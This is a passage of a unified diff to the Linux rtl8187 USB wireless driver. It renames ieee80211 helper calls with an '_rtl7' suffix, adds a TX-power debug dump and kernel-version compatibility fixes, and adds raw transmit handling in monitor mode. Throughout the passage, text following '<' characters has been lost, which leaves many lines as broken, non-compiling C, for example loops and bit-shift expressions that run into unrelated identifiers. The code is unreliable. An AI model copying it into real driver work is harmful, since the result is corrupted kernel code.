%lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,115 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +943,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +968,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +994,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1010,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; } - + void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1120,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1134,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1155,32 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + } + else + { + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1190,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1205,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1220,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1229,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,30 +1237,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1228,7 +1270,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1291,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1349,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1360,16 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1381,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,8 +1394,8 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1365,32 +1407,32 @@ priv->stats.txlpdrop++; return -1; } - - + + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1441,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1463,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1480,54 @@ } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1536,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1547,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1568,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1595,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1622,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,9 +1663,9 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps @@ -1622,23 +1673,27 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1710,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1770,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1818,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1827,64 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; 